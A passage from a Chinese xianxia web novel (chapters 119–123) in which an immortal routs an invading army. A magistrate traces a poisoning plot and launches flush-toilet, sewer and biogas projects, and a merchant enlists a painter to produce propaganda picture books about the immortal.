邱老忍不住回头去看,便看到足以震撼人心一幕。 那人身旁似有万千光剑钻出,光剑各个锐利,而后这些光剑便如雨后春笋一般落下。 ——逃!快逃!脑内只有这一种想法,但可惜的是,这光剑如同跗骨之蛆,几乎瞬间便将邱老洞穿。 “噗呲——” 这是光剑穿透血肉后的声音,邱老还在狂奔的步伐一个踉跄,而后口吐鲜血跌倒在地。 关键时刻,邱老捏碎了一枚玉石,而后整个人消失了。 而此刻跑在靠后位置的景旭宫十人也情不自禁回头去看,但他们看到的情景却和邱老看得不一样。 有人看到了漫天遍野的冰锥,也有人看到的是数千万片花瓣。 但无一例外的是,均被毫无悬念地杀死。 杜宇眼睁睁地看着那柄弯刀刺入自己身体,但他却一丝一毫的反抗都没能来得及。 或许,真如同曹应所说,这地方就不该来。 也是,那家伙这么精,若是这地方真能拿下来的话,哪能有他的事? 本以为景旭宫或许尚有一战之力,但没想到,在对方的手里,他们竟然毫无抵抗之力。 口中喷出鲜血,而后杜宇睁大眼睛,不甘心地倒地而亡。 义师军纷纷接二连三倒地而亡,整个战局瞬间扭转。 而在风仙县众人眼内,看到的场景确实古怪异常。 眼前这些敌人突然就因为各种各样的原因死去,有的人死的时候,身体里插着一柄剑,有的是被箭雨洞穿了喉咙,还有的人死的更为诡异,全身被花瓣切割碎裂。 总之这些人各有各的死法。 而远远观摩此战的仇离却忍不住瞪大眼睛 怎么可能,这传说中的形意真法竟然真的存在? 此法奥妙非常,只有说大能才有资格学习这门功法,但很可惜,这门功法早就消失在了历史长河里,倒是没想到,刚才仙师竟然用出了此法! 尤其是在看到这些人死状各不相同后,仇离更确信此法确实存在。 古籍称动用此法时,敌人会受到心中所想之物攻击,这便是自己的形和意无意间塑造了自己的死亡。 若满怀恶意,动用此法后便会被自己脑内的恶意诛杀,而若无恶意,便什么事都不曾发生。 人是最难控制自己思绪的,这门功法以对方恶意为食,化对方恶意为攻击手段,不可谓不妙! 再想到先前远观时这真仙那股难以言说的仙气,仇离顿时就理解师兄了 不怪师兄,确实只要一看到这位,脑内便会立即生出此人绝非凡胎的念头。 在受到形意真法的震撼后,原先仇离并非想替这位仙师做事,但此刻,他承认他心动了。 不过作为永道宫亲传弟子,仇离自是将自己看到的东西写成信件,而后将此信传递回了宫内。 ——看来城内这动乱算是结束了,他现在最该做的便是继续研究沼气池,既那位仙人想推广此物发展,他倒要看看最终结局会为何。 再看一眼那仙人消失的位置,仇离不再言语,转而继续研究手上的任务。 而方知意注意到仙师退去后,便知晓这场战斗终究还是风仙县赢了。 下令开始清理尸体,重新修筑建筑。 等众百姓都知晓那义师军有来无回,均被仙师出手抹杀后,众人心头均是出现了诸如庆幸一类的情绪。 庆幸自己在风仙县,不然换作别的县内,若遇到义师军这样的敌人,他们定会被折磨至死,就算运气好,没被杀死,也肯定没什么好果子吃。 这会虽说处理尸体有些血腥,恶心,但只要想想这些恶人没能伤害到自己,反而是死在了这里后,百姓大都乐呵呵地掩埋焚烧尸体。 而和人群的欢喜不同,方知意却是有了新发现。 就在刚才,她收到了慎刑司的信件,按那信件所写,这城内投毒之人,和这义师军或许并无关系。 原来在义师军攻入城内后,庞隆,庞修以及慎刑司的几位便扮成与他们同行的家人。 一是为了监督此二人,而是为了更好地深入敌人内部。 等到马车行进到那约定的位置后,一行人先静静等待。 在和约定时间过了有半个时辰,慎刑司的杀手以为这次行动或许要失败时,马车外却传来一阵动静。 庞隆忙抬眼去看,确实看到了那日熟悉的身影。 此人是骑马过来的,身后还有数十名蒙面黑衣人也在马背上待命。 遇到庞隆的瞬间,这人从喉咙里发出古怪的声音。 “又见面了,你这件事做得不错,今日便动身前去黎州吧,这块牌子你拿着,等到了黎州后去找牌子主人便是。” 庞隆接过对方递过来的牌子,在看清楚上面所写的白后,神色不免震撼。 看到庞隆这般动作,这黑衣人倒也不奇怪。 “既你完成了任务,这便算作投名状,以后可要时常为大人效力啊。” 这话和提点毫无关系,有脑子的人都知道这是什么意思。 庞隆额间情不自禁渗出汗,用手帕擦了擦汗后,他忙扯出一抹笑。 “这是自然,不过我们不是一起前去黎州?” 黑衣人摇头。 “我等还有任务,你们自行前去黎州。” ——这话说得就很不负责了,毕竟从此处到黎州,那可是路途遥远,且路上谁知道会遇到什么事? 原本以为这黑衣人至少会带着自己一家人进入黎州才会分开,但谁能想到,此人竟然这般冷血。 庞隆感觉自己浑身上下的骨头缝都在嘎吱作响,这会嘴巴生涩得和几百年没抹过润滑油的机器一样。 “这,路途遥远,我等不过普通人,如何能安全前往那黎州呢?” 这句话却换来对方一句嘲讽。 “怎么去?我如何能知道? 差不多得了,你遇到我还算好,好歹我还心软给你送了这牌子,你若遇到的是别人,恐怕就算在这里等到天黑也不会有人来的。” 庞隆大脑轰隆炸开,而后便是铺天盖地的后悔。 为何他会被执念牵引着非要做出那般事来,当时他竟能轻信此人一番话语,现在看来,当时他绝对是被迷了心窍。 再次想到儿子仿若叹息一般的话语,他彻底崩溃。 ——是啊,为何非要舍近求远,非要去那黎州,乖乖呆在风仙县不好么? 风仙县有那仙师护着,再怎么也要比去外面流离失所强啊 悔恨如同尖刀一般划开他的心脏,眼看罪魁祸首一行人打算离开,庞隆猛地扑过去,死死扣住对方的脖颈不松手。 为报复对方,庞隆紧握着带有凸起的扳手,在握紧脖子的同时,对准这人的太阳穴便要用力砸下去。 那人先被他吓了一跳,而后冷笑着从大腿部抽出匕首,用了十足的力气捅进他的身体,然后带着恶意搅碎他血肉。 庞隆痛得松开手,便被这人一脚踹开,而后又挨了数脚。 庞修本还在车内,但在听到车外动静后,忙掀开车帘望过去。 等他看到时,自家父亲便早就是只有出的气了。 庞隆的那副模样太过于凄惨,那黑衣人呸了一声,拿起刀便要直勾勾地捅开他的喉咙。 “不知好歹的东西,去死吧——” 眼看刀就要落下,庞修急得直奔而去,但若以他的距离,定是远远不够的。 黑衣人狞笑着用力,然而刀却被一人死死握住。 黑衣人抬头去看,下巴却已挨了一脚。 庞修松了口气,发现慎刑司的几人早就在确定周围情况后,开始出手了。 黑衣人没想到他们的存在竟然会被人知晓,几乎片刻,便明白了纰漏在何处。 恨恨地对准这对父子投掷出几枚暗器后,忙要离去。 只是为时已晚,先机早已耗尽,且慎刑司几人身法要远超于他们,几个挣扎间,黑衣人死的死,伤的伤。 这群人似乎是死士,一旦确认即将被俘虏后,均是咬舌自尽,或者是服毒自尽。 最后被活捉的只有来不及自尽的三人。 慎刑司内负责此事的是寻凉。 他粗暴地伸出手指,探入这三人口腔内,等到顺利抠出那毒药后,这才将布子塞到这三人口中。 在活捉三人后,又将其余人摸了个遍,确定没遗漏任何情报后,寻凉这才将此事飞书给方知意。 而至于这三人,自然要被他带到县衙大牢内严加审讯才是。 等到那处,就算是铁打的人也要给他开口,说出这背后之人的命令。 看着黑衣人头领依旧是一副不服气的模样,寻凉冷着脸过去给了他一拳,出拳的力道故意没留手,这一拳,打得他头晕眼花。 黑衣人躺在地上,脸庞却扭曲出一阵笑容。 而此刻,寻凉注意到,一旁的庞隆和庞修二人开始不受控制地往外吐血。 虽说这二人最终的结局也是死亡,但寻凉并不乐意这二人死在他手中。 按照他的职业习惯,这两人就算死,也要死到他见到方县令的时候才可以。 不然岂不是他工作的失误? 随意给这两人塞了两颗解毒丸,寻凉带着人便直奔县衙而去。 第120章 有办法 县衙内,看着寻凉将面色惨白的庞家父子二人带回来时,方知意不曾开口就听他嫌弃道:“这两人中了对方的毒,暂时毒是解了些,但并未彻底治愈,若拿不到解药的话,想必这二人会在一年内死去。 至于刚捉到的这三人,我要去牢内审讯,若方大人也想过来的话,请自便。” 说完这话后,寻凉带人捉着那三人先下了牢房。 而方知意则先和庞家父子二人先说了几句话。 那庞修脸色虽说惨白无比,但在看到方知意的时候,面庞依旧微微变了色,而后顺从地跪倒在地。 “方大人,我和我父亲已按照大人的要求将那贼人引诱出来,不知我母亲和妹妹” 说到此处时,庞修抬眼去看这位大人,但他不敢沿着对方的官服向上和她对视,只能呆愣愣地看着她的袍角。 “你母亲和妹妹我自会妥善处置,至于你和你父亲,则是从今日起要关押入牢,等待裁决。” 庞修早就清楚地知晓自己的命运会走向何方,此刻静静地对着方知意磕了一个头,而后道:“大人宽宏。” 等他起身后,便被官兵带了下去。 而方知意则是先去了那审讯死士之处。 等下到地牢后,看到的便是那三人已被五花大绑,为了不让这三人有自尽的可能,就连口中都被迫用绳索牵引拉开。 听到动静,寻凉便知晓是这位方县令过来了。 毕竟都同属于仙师旗下的同事,他倒是很乐意将自己审出来的消息分享给这位方县令。 所以等知晓这群死士竟然是来自黎州的白家后,方知意不免沉寂片刻。 ——白家,记忆中白家并不参与朝内激烈的争斗,算是中立派,但明眼人都知道,在这种情况下谈中立是根本不可能的,此情况下的中立便算作是偏向于和保皇派走向了相反的道路,不过值得一提的是,白家并未显露出自己是支持谁。 话说远了,为何白家会让这黑衣人过来给明州境内的一小县城投毒? 方知意不免垂头静思。 有道是牵一发而动全身,白家绝不会做毫无意义之事。 若从她的角度出发,或许是白家偶然得知风仙县的古怪,一是想试探,二是想借着本县仙师之手除掉对手。 现在那义师军阴差阳错被除掉了,想必这真正的幕后之人便是和义师军所属的派别对立。 但真的是白家? 方知意不相信这些黑衣人会仅凭着契约精神,便这般轻易就将这牌子给了庞家父子,若非要说的话,很可能连这给牌子的这一环节,也是被安排在内的任务。 ——有很大的可能,这些黑衣人所效忠的并非是白家,而是另有其人。 其实这样推论下来的话,差不多可以排除白家和义师军所属之人,而真正的凶手定潜伏在另一人,亦或是保皇党内。 既已推敲出幕后之敌大致的身份,方知意自觉再耽误下去也没有意义。 再看看那三人被折磨得差点没了人形,但供词依旧毫无变化。 她便知晓,这审讯再往后也应当是无用了。 和寻凉告辞后,方知意将这真敌死死地埋在心里,眼神却不受控制地闪过一丝戾气 无论是谁,拿风仙县这么多百姓去赌一个结果,一个可能性,从本质上来说,这敌人定当是异常狡猾且心狠。 而与此同时,先前在大战中消失的邱老,则是出现在了景旭宫内。 不过和先前极好的状态不同的是,此刻的邱老,脸庞更是多了几分死意。 且他自己能感觉到,自身目前的身体有多虚弱。 他自那瞬间回归后,先后被宫内大能灌入不少丹药,也堪堪是保了一条命。 对于他这般狼狈归来,景旭宫自然是震撼不已。 目前他便属于最是有价值的知情人。 而每次当邱老要回想那段记忆时,脑内却像是有千万根针尖直扎着不让他回想起当日。 一开始,宫内大能以为是某种思维禁锢,但在细细检查后却发觉,邱老脑内并无禁锢,至于为何想不起来,应当是当日的情景太过于恐怖,人从生死线上爬回来,大脑自然是不愿意回想当日那即将死去的感触。 至于邱老本人,也在多次回想无果后只能暂且放弃回想那些记忆。 虽说记忆暂且想不起来,但若是听宫内说起那风仙县之名,邱老还会生理性觉得脑仁胀痛,而后便是铺天盖地的恐惧。 ——那地方很危险!不论别人如何,他定当是这辈子都不会再踏入那处一步! 而今日,一向热闹的景旭宫竟然平白无故安静下来。 静躺着养病的邱老心中一动,是那个人过来了。 风仙县内,自上次义师军再次受挫后,百姓士气高涨,本以为会因为战乱而萎靡一段时间的商业竟然是丝毫未曾受到影响,几乎是前脚刚将那尸体焚烧清理干净,后脚立马就有络绎不绝的商人,脚夫游荡在这县内。 先前李老刚招收好陶瓷厂的工人,正欲动工,没想到竟是先遇到了百年一遇的瘟疫,好不容易等瘟疫控制住了,又是义师军上门挑衅。 眼看现在所有的不定因素都被解决后,陶瓷厂总算风风火火的开始动工了。 初动工那一日,满城锣鼓响满城,许久没遇到这般热闹的场景,这会不管是不是陶瓷厂的工人,百姓们各个都汇聚到街道上,喜气洋洋地看着眼前舞动着的狮子。 小孩子乐得满街跑,身后跟着的是急着追撵孩子的妇人。 卖小吃的,小商贩们,几乎要将街道堵个严实。 方知意和赵金构二人不语,只是静静地垂头看着这一幕。 ——仙师,您所求的,是不是也是这般朴实美好的一幕呢? 眼看那舞狮队离开城楼,方知意这才说起正事。 “赵公子,我来的目的想必你也很清楚,那陶瓷厂内部生产的是什么东西,你我都清楚,如今配合着沼气池项目,以及下水道改造项目,一旦马桶生产完毕,应当尽快改装完成才是,不过若是将此作为福利的话,恐怕本县财政难以承受,得想个对百姓,对本县都好的办法才行。” 赵金构倒也是在前些日子知道那陶瓷厂是用来制作马桶的。 不说别人,自从他当日在潜灵山上亲眼见到过那马桶一物后,心中倒是默念着一定要给自己的客栈内都安装上这玩意才行。 在赵金构看来,此物方便干净,要吊打原先的茅房。 其实如果让赵金构来推广的话,他有不少不入流的法子,譬如将此物打造成一种风尚,这样一传十,十传百,很快便会被百姓自发推广而来。 二就是可以将此物推广成为姻婚必须之物,嫁女最先考虑的若是此方面,那百姓便会自发去更换 但这是作为商人的角度,若是从县令角度来考虑的话,确实,推广起来颇费精神。 若要强行让百姓更换,难免落了个坏名声,但若免费,财政又不允许,想用些不入流的手段,也不太好 一时间,他倒也陷入两难的境界。 等到一炷香后,赵金构叹息开口:“方大人,我所想之法皆为商人之法,不适合作为参考使用,这推广一事,恐我不能帮忙了。” 方知意倒是开口询问他何为商人之法,而等到听清楚他所说之话后,方知意不再言语,转而沉浸思索 也不是不能按照赵金构所说的方法去做,一方面推波助澜,另一方面,她则是可以从官方的角度给予一些优惠。 譬如前多少名更换马桶可获得折扣优惠,且官方从态度上一定要对这件事处于绝对的支持状态,这样才能更好的激发百姓想更换的心情。 想到这里,方知意不免笑出声。 而赵金构则在听完了方知意的话后,忍不住离此人远了些。 好黑,好肮脏的手段 怪不得虽说方大人模样算是他很喜欢的那一款,但他却压根没有那种冲动,本以为是因为她是仙师最为信任的存在,且贵为县令,不是他能够得上的,所以他才会丝毫不动心,然而现在,赵金构总算明白了,他就是单纯不喜欢心黑的 毕竟他自认为自己已经够心黑了 似乎注意到赵金构一言难尽的表情,方知意缓缓摆手,含笑道:“怕什么,这件事始终对百姓来说是好事,越往后他们便会明白的,且之后等到人人都有工可上的那一天,这点小钱又算作什么?” ——只不过现在冲她要钱,她是手头有些窘迫。 赵金构露出虚伪的笑,“方大人所思甚是,不过要我说,这东西完全可以以高价售卖到别处。” “哦?幽州不像是能卖出去的地方,那想必便是黎州境内?莫非赵公子已经打通了黎州内部的通路?” 方知意端着茶杯的手微微停顿。 先前赵金构此人将粉条,豆腐,细盐售卖到各地时,方知意便知晓此人绝对是属于很有能力的一类人,只是在她不知道的时候,这赵金构什么时候又打通了那黎州商路? 倒是眼前的赵金构将茶水一饮而尽,而后淡淡道:“方大人等着看便是,在下不会让大人失望的。” 方知意不再过问,毕竟她作为县令每日要操心的事实在是太多。 等赵金构离去后,紧接着门帘被一双纤细的手掀开。 来人正是白思妙。《 》 120-130 第121章 一千人 “知意?我刚才看到那位赵公子了。” 虽说好友现在贵为县令,但原先三人之间的情分依旧,若是有人在时,白思妙便会老老实实跟着喊方大人,但若是只有她姐妹三人时,她便会直接喊她知意。 方知意倒是不在乎这个,她今日先后约二人前来,为的便是同一件事。 好在在赵金构那处已确定了推广之法,眼下白思妙正好可以将她接下来的安排顺利执行下去。 “是我喊他过来商讨事务的,来得正好,我们下一盘棋。” 二人各执一子,开始对弈。 对弈中途,白思妙倒是清楚了方知意所想。 “这好办,明日的报纸我可写几篇推广文章,好先在百姓心中打下底子才是。” “我确实也是这般想的。” 棋局结束。 第二日,新出炉的一版报纸便有了新的动向。 【论更换马桶的好处】。 这篇文章正是白思妙所写,无论是从实用角度,亦或是卫生安全角度,均写得让人心服口服。 等这刊报纸出现时,和往常一样,很快便卖光了。 等所买之人拿到手后,看着占据了最中央篇幅的文章,先是忍不住蹙眉,——报纸上大谈特谈如厕这方面是不是有些不妥当? 但当仔细看完后,看报的人均觉得自己原先太过于狭隘。 倒也有人不太认可这文章,这部分大部分都是手头紧巴巴,能凑合便凑合,不愿意改变现状。 起初,不少人只是以为这只是偶尔谈论到的话题罢了,但当报纸下一期依旧有此话题后,立即便有敏锐之人察觉到了其内深意。 ——看来,本县下一步的动向便是这一处了。 除却报纸方面舆论已经铺垫好,另一面,负责改装本县下水系统的张百技也宣布完成了他的工作。 等到于洗激动地汇报工作全部完成后,方知意特地去现场看了一遍。 果真如同他所说,下水道系统全部改装完成了。 好消息一个接一个的来,在第二日,仇离表示自己对于沼气池的研究已经完全破解其中关键,现在已制作出一成品,还请方知意速速过去验收。 等到方知意带人风风火火地赶到时,看到的便是仇离正围着一造型别致的物什绕圈子。 这物什表面上看着像是一锅盖扣在了平底,若走近去看,便能看到并非是平地,而是提前挖了坑,而后才用灰浆塑了型。 再细细看去,便能看到沼气池上方泾渭分明的管道,方知意上手后才发觉这管道一部分是铜管制作而成,另一部分较为细的部分则像是竹管。 若靠肉眼观测,方知意目前只能看到她肉眼所能看懂的部分,但对于这沼气池的具体复刻,自然得听仇离的解释。 早就注意到这位方县令来了的仇离倒是不急不缓地开口解释:“方大人请看,这沼气池的池体我用了糯米灰浆塑形,我已经提前浇筑多遍,确保不漏液,气体也能不逸散。 至于这些管道,想必方大人已经猜到了用途,至于材料的话,正是如方大人肉眼可见,最重要的是照明以及做饭的设计。” 仇离往前走了一步,引导着方知意往他手中的看过来。 跟随着他走过去便能看到一黄铜做成的燃气灶,以及不远处的照明灯具。 随着仇离的演示,原先熄灭的灯具瞬间燃起一簇火苗,而后那火苗静静地燃烧开来,映照着周围小小的一片天地。 “这照明灯具需要制作一个外壳防风,最佳的材料肯定是云母薄片,毕竟不会造成火灾,透光性也是极好的,不过这造价高,不适合推广,若是按照平常的话,使用油纸也可以,就是要牺牲一些亮度。” 方知意点头,这确实是个问题,但只要有照明便不算什么。 至于那黄铜燃气的设定,便更为直观。 眼睁睁看着那火焰噗呲一声被点燃,而后正以一个极快的速度煮沸了一锅热水。 方知意不免心下动容。 ——若全城百姓都能用上这样的燃气,想必今年冬天总算是能过个好冬了。 这还不算完,仇离甚至引着她来到炕头。 “这个是在下让人打造的炕,因我发现燃气也可以顺带烧火,使之成为火炕,用于冬季取暖。 至于厨房下水以及厕所下水,均已连接成功,但在下就不给方大人演示了,那个过程在下害怕方大人接受不了。” 方知意倒是敏锐地察觉到说这话时,仇离正是一副难以描述的表情 她倒是觉得并非是仇离为自己着想,更多的是这位本身也不愿意展示这一部分。 要说这段时间仇离也算是忍辱负重了。 毕竟他原先在山上时,便有洁癖。 起初确实是被沼气池的精密设计迷了心智,但等到意识到这玩意是由什么原材料做成后,仇离一张俊脸早就扭曲。 但既然已经答应了对方,仇离还是苦着脸接受了任务。 不过好在方知意给他送来了不少能工巧匠,大部分时候,他只需要把控最为精细的部分即可,脏污部分虽说也有,但很少,倒也还算不幸中的万幸。 既沼气池已展示完毕,且方知意自己也亲手试探一番,在得出此物可行的结论后,仇离总算是松了口气。 ——终于算是将这沼气池完美复刻出来了,中间虽说经历不少折磨,但好歹是成功了。 将其中重点一一告知方知意后,仇离暂时告辞离去。 既任务已完成,他便要即刻返回潜灵山,而后让师兄去带他去见那仙人一面才是。 毕竟他努力许久,为的便是求见那位仙人一面。 如今自觉他还算有资格觐见那位,仇离自然是一刻都不能等待。 虽说仇离人不在,但此人确实将其中各个难点痛点全都记录得清楚,方知意细细看过去,看到最后只能叹息一声。 除非是这般天才,不然换作谁都无法复刻沼气池。 召集齐所有工匠后,建造沼气池的任务便被方知意下发下去。 只有这些人当然是不够用的,为在冬季来临前建造好足够数量的沼气池,方知意亲自去找赵金构,让对方想办法去给自己弄一批工匠过来。 人数越多越好。 “大概需要多少?” 赵金构眉头微跳,总感觉给他下发的任务不像是什么好任务。 “不多,大概一千人往上吧。” 方知意淡淡开口,那模样淡定得仿若在谈论明天要吃些什么一样随意。 赵金构:???不是,你自己听听这合理吗? 一千多个?你怎么不直接去抢来得快一些? 这会差点没气笑。 但是又不敢,只能暗戳戳表达崩溃。 “方大人,这太难为在下了,在下实在是做不到啊,方大人想必也知道本县目前最多只有三百余工匠?” “知道。” 被方知意干脆的话噎得直咳嗽,赵金构缓缓打出疑惑。 “那方大人的意思是” “本县没有,我们可以去外面带一些人回来,毕竟眼下我们风仙县内还算安稳,外面时刻处于战乱中,想必会有不少百姓过来投奔我们。” 虽说赵金构先前也动了想去外面寻工匠的心思,但之前去外面寻找的效果一般,或许是这些百姓经历过的战乱多了,他们变得对任何事都不再信任,尤其是游商,更是被这些工匠所厌恶。 很多时候,他下面的游商队伍还不曾开口,那些远远看到他们的人便会急匆匆跑走。 仿若是见到了什么妖魔鬼怪一般。 时间一久,这外出寻找工匠的任务自然是搁置下来了。 毕竟在赵金构看来,全城三百余人,应当差不多够用了。 直到今天方知意开口就是一千人往上,给赵金构都整得沉默了。 但该说的还是要说,将先前的事告知方知意后,本以为对方会沉思,而后再想想别的办法,倒是没想到,方知意眼中带笑,用手指敲击着桌面道:“我倒是有一计,既沼气池建造需要诸多工匠,若靠我等之手去寻找工匠,反而容易将这些人推向远方,依我看,不如从工匠本身下手。” “你的意思是?” 赵金构隐隐知道方知意后面要说的话,果然,她继续道:“我们可以采取推荐制度,若推荐一工匠过来,便可给予奖励一两银,这样不需要我们发力,百姓自然会去将自己所认识的工匠喊来替我们做事。 一开始这些工匠肯定是害怕的,但等到亲眼看到本县后,我想他们也会变成下一个拉工匠进来的人,赵公子觉得呢?” 赵金构不得不承认这确实是个好办法。 先前他没能采用这办法主要也是因为他没有能力能去发动大众。 而方知意不同,她作为仙师亲自提命的县令,曾被赋予仙人权柄,却始终言行合一,不曾有怠慢之态,实乃是本县人人认可的好官。 且再加上此次义师军来犯之际,仙师再度出现,此时仙师在风仙县百姓心中绝对是真神一般的存在 虽然那位本身就是神仙吧。 反正这一招只有像是方知意这样的人才能运用好,若唤作别人,效果便要弱好几分。 眼看赵金构仍沉浸在思绪中,方知意微笑继续开口:“其实我刚才想到了一个可以操作的方法,赵公子也可以听听。 原先赵公子靠着商队想去招揽百姓,但失败了,这说明商队不够有名气,不能为百姓所信服, 而眼下有一个更好的方式可以解决此问题。” 赵金构几乎瞬间便意识到她这话何意。 ——用仙师名气外出招揽百姓。 第122章 寻仙意 只是如何招揽百姓,却需要仔细谋划。 赵金构脑内飞速闪现出各种办法,而最终,一人的面庞却缓缓出现在他脑内。 此人不是别人,正是以画技见长的宋白。 先前此人仅仅是遥望仙师不过瞬间,便能画出如此神态,这次仙师出现的时间相较于上次更久,且给人的视觉震撼来得更强烈,不知此人可否有新的画作? 若能够借用宋白之手画出图册,然后再传播出去,凭借着仙师两战,足以轻易建立威信。 想明白此时运营的操作关键后,赵金构顿时有了计划。 等到方知意离开后,赵金构则是来到了宋白所在之处。 此刻宋白则还在描绘着一幅画。 甚至连赵金构来了都不曾发觉。 为了不打扰他作画,赵金构则是静站在他身后,看宋白持笔作画。 等到他将注意力投射到眼前的画作时,这才发现宋白所画此人身姿缥缈,几乎是一眼就能察觉到他所画之人正是仙师。 这画作距离全部完成只差点睛,但就是这最后一笔,却难到了宋白。 他对那日仙人出现的身姿依旧记忆深刻,日光之下,仙人降临。 和上次月下遥望一眼不同,这次他确实是更为完整地看清楚了仙人的面目。 只要一想到仙人之貌,宋白便忍不住地浑身战栗。 ——原来仙人竟然是长那副模样的,先前月下看得那一眼就让他震撼不已,现在换做白日,那张仿若神迹一般的面庞更为清晰地映入眼帘 几乎在看到仙人的第一眼,他满脑子竟充斥着仙音,甚至想对着那身影跪拜下去。 好不容易忍住了这股冲动,再看过去时,他脑内竟然只能沉迷于仙人的无边容颜内,生不出任何其他的心思。 直到仙人击退敌军消失后,宋白这才从震撼中回神。 先前他隔着月光,只看清了那位的身影,以及那一闪而过的容颜,当时他便觉得仙人之姿飘逸非凡,虽自己画技已算作超凡,却依旧画不出那位万分之一的风采,尤其是现在更为清楚地看到了神迹后,按道理说他应当是欣喜若狂地持笔记录下来仙人面貌,但事实上,只有他知道他自己心里有多么无力,甚至还夹杂着一丝若有若无的胆怯 我真能将那等神迹再现吗? 宋白忍不住自问,但双手控制不住地想要将脑内所残留之影画出来 画出来吧,哪怕靠他的画技不足以重现万分之一仙人的神采,但若他不尝试着去画,还有谁能记清仙人之貌? 抱着这番憧憬,宋白一日不停地投身于画作,但每每画到一半,却总觉得还差一丝神韵。 不知道撕毁了多少副画作,总算是画出了他相对来说最满意的一版。 但到了最关键的点睛时,宋白却又犯难了。 当日对他来说,印象深刻,直到现在,宋白还能记得仙人眼内的所充斥的各种情绪,悲悯,愤怒,轻蔑,杀戮但最后都归一为平静。 若按照平时所画神佛的经验来看,他应当将仙人画得更为悲悯才对,但不知为何,宋白却不想那么画 仙师不同于其他仙人,宋白想将这位的每一丝神采都刻画下来,而非仅刻画一面。 自然在最终刻画神韵的阶段受到了阻碍。 正当他愁眉不展时,却听身后传来一声熟悉的声音。 “不若不画这双眼?” 竟然是赵金构。 因先赵金构时不时便会来他家中拜访一二,眼下他早就和赵金构关系升级为好朋友。 转身去看,却看赵金构笑着持着折扇走到他面前。 “宋兄,正所谓千人千面,每人心中都有独属于自身的神佛,若适当留白,给众人留下足够的想象空间,岂不更适合眼下?” 宋白沉思片刻,而后顿悟,飞快地将那双眼改为闭目。 如此一来,仙人之态便映入二人眼帘。 在看到这画作后,就连赵金构都不得不承认这画画得足够传神。 虽说不能百分百还原仙师神态,但也有个七八分像了。 仙人闭目悬浮于空中,脚下是万千尸首,背后却是金光涌动,按道理,这画中的煞气太重,不像是在宣扬仙师,但实际上配合仙人的神情,整幅画看上去却是多了几分悲天悯人之态。 尤其这将眼睛改为闭目后,显露出一种新的感觉来——仙人闭目不语,似是怜悯众生。 越看,宋白便越是对这改动越是满意,回想到那日仙人眼神中所蕴含的多番情绪,宋白却忍不住叹了口气。 这会,他才有心思和赵金构说话。 “赵兄,找我何事?” 在听清楚赵金构所求之事后,宋白说不激动是假的。 早在上一次仙人出现后,他便致力于多番描绘仙人之态,而因仙人确实给了本地百姓生活的期望,宋白作为仙人的首席刻画师,无论走到哪儿,都颇受关注。 名声方面是一回事,在仙人广为流传的情况下,各种小像,挂画开始风靡。 不少人找到宋白,希望对方能替自己画原版的刻画,好将仙人之态多番刻印,售卖出去。 宋白自是同意了,毕竟他也是要吃饭的。 等到第一版印刷好后,因他高超的技法,更是迎来了第二批,第三批所求之人。 除却给印刷提供原画外,也有不少家境殷实之人求着他去为自家单独画几副仙人画作。 这一番操作下来,宋白家产也是丰厚了不少,名声更是相较于从前更甚了几分。 这一切都要归功于仙人,宋白自然是日夜苦思,企图精进画技,好不堕仙人之态。 现在再次有幸见到了仙人,他又是画出了最为满意的一幅画来,更为惊喜的是,还听到了赵金构所求之事。 “宋兄,先前我游历四方,所见之人皆是麻木空洞,对这世道充斥着绝望,想到仙师仁慈,极力庇护我县百姓,我自然是对偶遇到的这些百姓心痛不已。 当即我便想将这些百姓带回来,好让他们也能沐浴在仙师的庇护下。” 刚听到这话时,宋白先是一愣,而后便被赵金构所说之话吸引了注意,“赵兄此言深得我心,我等能受到仙师庇护实属运气好,但既然看到外界百姓依旧遭受着苦难,我等在有能力的情况下,确实应当伸出援手才不愧对仙师对我等的庇佑。” 赵金构先前就知晓宋白此人颇为单纯,他这话也就是说给宋白听的。 既看到宋白已上钩,赵金构不免叹息一声,苦笑道:“宋兄所想和我一样,但当我邀请他们时,让我没想到的是,这些百姓竟然对我所说之话充满了不信任,哪怕我耗费口舌,也不曾能消除百姓的疑虑,我知晓宋兄或许想说这是偶然现象,但经过我的试验,却证实了这事并非偶然,而是世道混乱,百姓不敢相信我啊。” 宋白被震撼在原地,他从一出生起便生活在风仙县,很少有出门历练的经验,起初听赵金构所言后,他还觉得这些百姓颇为固执,但在听到对方的下半句话后,倒也是罕见的沉默了 世道如此,他一个画师,又能做什么呢。 似乎是感受到他的失落,赵金构趁机道:“那日后,我便借机和县令大人商讨一番,最终决定建设一名为仙盟的组织,专用于吸收接纳那些受苦受难的百姓。 既要建设仙盟,便需要树立仙师的威严,若论宣扬仙师的话,我只能想到宋兄了。” 宋白没想到话题转折这般快,还没来得及多想,在看到赵金构热切的眼神后,他来不及思索,便被赵金构所说之话刺激得热血沸腾。 “仙盟建立之初定是困难,但若能有宋兄出手,和我配合宣扬仙师的话,想必很快仙盟便能度过难关,对于你我而言,不可谓不是一件好事啊。” ——赵兄所说之话有道理啊!不就是画画吗,他最擅长此事,既仙盟需要他,他素日又颇受仙师庇护,自然是要在此刻站出来的。 “赵兄放心,这事便交给我吧,宋某保证不日便能将此事办妥当,刚好我最近也颇有想法,眼下倒是借机将我先前的想法画出来了。” 赵金构露出真心实意的微笑。 单纯点好啊,稍微几句话就乖乖给他办事了,要是换做心黑的,他不知道要费多少劲才能办妥此事。 所以说他才讨厌方大人那种心黑的! 默默吐槽后,赵金构又是实打实捧了宋白一番。 宋白倒也没让他失望,在七日后,此人竟差人给他送过去一本完本的画册来。 画册送来时正是半夜,赵金构心想应当是宋白刚完工,心情激动,又等不到第二日,索性先派人将画册送过来了。 既宋白这么猴急,想必这画作质量颇高。 抱着这样的想法,赵金构拆开包裹,缓缓翻开这画册。 在看到画册的首图时,原先还哈欠连连的赵金构赫然瞪大了双眼。 ——有点意思,这宋白在作画一方面果然是天才。 只见眼前所画之册精美无比,仙人神态自带神韵,一言一举皆是透露出一股难得的仙气。 最重要的是这画册并非单纯的画册,竟还是带有剧情的。 大意讲的是仙人初诞生于那潜灵山,为成为最强真仙飞升,便要经历“寻仙意”的磨砺,何谓寻仙意? 那便是寻真心。 而仙人的真心,便是庇护这一方百姓,致力于创造一个太平盛世。 看到此处时,赵金构不免面露微笑。 ——有趣,若按照这样的剧情设定,那仙盟的建立简直就是顺理成章! 第123章 优势 看到这里时,赵金构不免面露感慨。 ——别说,宋白虽说人单纯,但在编造话本子这一事上竟是颇有心得。 翻阅画册的手不曾停止,而在这画册内,由宋白所描绘的仙师形象却实打实凝聚起来,变得更为具体。 